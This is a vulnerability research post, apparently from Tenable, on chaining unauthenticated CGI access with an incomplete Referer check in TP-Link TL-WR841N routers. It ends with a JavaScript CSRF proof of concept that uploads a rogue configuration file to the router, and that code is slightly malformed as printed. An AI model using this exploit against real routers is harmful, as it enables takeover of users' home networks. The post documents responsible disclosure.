Drive-by Exploiting TP-Link Routers

Author: David Wells

Recently, I took time to investigate a popular Wifi router listed on Amazon; the TP-Link TL-WR841N. This router has over 14,000 Amazon reviews averaging out to a 4-star rating, making it one of the more popular budget Wifi routers you can find on Amazon today. This investigation was aimed at reverse engineering the device’s firmware in order to find vulnerabilities in the latest firmware version available (0.9.1 4.16 v0348.0 Build 180119 Rel 66498n) at the time. I will describe how I found a local exploit in the router’s web server and expanded on it to create a remote router exploit that can be triggered via web browser drive-by attack. This type of remote attack can also compromise routers behind a network address translator (NAT) and those not exposed to the public wide area network (WAN) as the vulnerability is remotely reflected off a locally connected host, rather than coming directly over WAN. This exploit takes advantage of two vulnerabilities that were found in the httpd service in the router’s firmware:

  1. Unauthenticated CGI Access
  2. Incomplete Referer Header Check

The first vulnerability allows a locally connected, unauthenticated attacker to invoke sensitive CGI routines in the router’s web server, while the second vulnerability is a small oversight that is nearly harmless in-and-of itself. However, when these two vulnerabilities are strung together, things get very interesting.

Unauthenticated CGI Access

This device hosts a web server containing CGI scripts located in a “/cgi/” virtual directory. Examining the router’s firmware in IDA, we can see initialization of these virtual CGI paths, which is done by binding routines to their appropriate CGI string path via “http_alias_addEntryByArg”.

Figure 1

One glaring security issue I found with these CGI routines is that they do not require authentication to invoke, but rather only require a trusted TP-Link HTTP referer such as “tplinklogin.net”, “tplinkwifi.net”, or the router’s IP. This means a local connected attacker can interact with these CGI routines while unauthenticated, simply by spoofing one of the “trusted” referer headers in their CGI request. Coincidentally however, it seems this vulnerability was disclosed by Securelayer7 on June 4th, 2018 (CVE-2018–11714 http://blog.securelayer7.net/time-to-disable-tp-link-home-wifi-router/ ) around the same time as our research. To briefly elaborate on this CVE, it allows a locally connected unauthenticated attacker to invoke the web server’s sensitive CGI scripts (which are intended to be reserved for administrator), which can induce a variety of security issues such as downloading the router’s configuration file (thus exposing username/password), setting routing information, or even uploading a different configuration file to the device. Below, I demonstrate uploading an attacker-defined configuration file while unauthenticated (no Cookie). This scenario succeeds, as the request is spoofing a “http://tplinkwifi.net” Referer.

Figure 2

Alternatively, when attempting this with an untrusted Referer and no Cookie, the CGI interaction is restricted and returns a 403:

Figure 3

Incomplete Referer Header Check

Up to this point, we found that the router is vulnerable to local exploitation, allowing any connected user to perform a dangerous subset of administrative tasks. As for remote exploitation however, it appears safe as the web server:

  1. Hosts router’s admin webpage on LAN, which is only available to locally connected users by default.
  2. Enforces a referer check, which will prevent cross-site request forgery (CSRF) attempts that try to remotely force a connected client into interacting with router’s page.

To double-check these assumptions we’re making, let’s examine the TP-Link firmware and find the HTTP Referer whitelisting logic. In it, you may see a loophole that can bypass the remote attack restrictions I outlined above.

Figure 4

This routine will perform a strncmp with “tplinkwifi.net” (or “tplinklogin.net”) against the attacker-provided referer received from the HTTP request. The string compare length parameter for strncmp used is derived from the string length of the literal strings “tplinkwifi.net” (or “tplinklogin.net”). This means the function only checks if the first 14 (or 15) characters of the request’s referer matches “tplinkwifi.net” (or “tplinklogin.net”). This is an incomplete check as the supplied referer could be longer and thus be a different domain than the actual TP-Link trusted domain. Because of this, it turns out that an attacker could simply host an iframe with subdomain of “tplinkwifi.net.*, such as: http://tplinkwifi.net.drive-by-attack[.]com, and can force any TP-Link connected user into performing a CSRF to bypass authentication and the referer whitelisting logic to successfully invoke the router’s sensitive CGI routines. Through these routines, an attacker can obtain full control over the router, such as uploading a new configuration file via CSRF which will change the admin’s username/password as well as enable the router’s remote administration interface to allow full remote control of the device across the internet. Below is a simple POC, which would execute on a subdomain of http://tplinkwifi.net.* (or http://tplinklogin.net.*) and upload such configuration file through user’s web browser to their TP-Link router.

/*
David Wells
2018–06–28
Tenable
TP-Link CSRF Config Upload
- allows attacker to remotely upload rouge config file via CSRF
(this script needs to run on subdomain such of "tplinkwifi.net.*" or "tplinklogin.net.*")
*/
var BOUNDARY = ‘ — -543212345 — -’
var TPLINK_CONFUG_URL = ‘http://tplinkwifi.net/cgi/confup'
// Attacker’s configuration contents
// var config_file = <config_file_here>
function getStartBoundarySubHeader() {
return BOUNDARY + ‘\r\nContent-Disposition: form-data; name=”filename”; filename=”conf.bin”\r\nContent-Type: application/octet-stream\r\n\r\n’;
}
function getClosingBoundarySubHeader() {
return ‘\r\n’ + BOUNDARY + ‘\r\n’;
}
var conf_payload = getStartBoundarySubHeader() + config_file + getClosingBoundarySubHeader()
function stringToBytes(str) {
var chr, st, re = [];
for (var i = 0; i < str.length; i++) {
chr = str.charCodeAt(i);
st = [];
do {
st.push(chr & 0xFF);
chr = chr >> 8;
} while (chr);
re = re.concat(st.reverse());
}
return re;
}
var xhr = new XMLHttpRequest();
xhr.open(‘POST’, TPLINK_CONFUG_URL, true);
xhr.setRequestHeader(‘Content-Type’, ‘multipart/form-data; boundary=’ + BOUNDARY)
};
// Upload new configuration file to router
xhr.send(new Uint8Array(stringToBytes(conf_payload)));

The following is a video that demonstrates this attack:

Tenable Research worked with the vendor and disclosed the vulnerability in accordance with our Vulnerability Disclosure Policy. Further technical details about the vulnerability are available here https://www.tenable.com/security/research/tra-2018-27

This exploit is a great example of how seemingly minor software bugs can be strung together to create a monster of a security issue. When managing and mitigating vulnerabilities in any environment, addressing even the smallest of CVE’s can be enough to remove a seemingly minor link in a devastating exploit chain.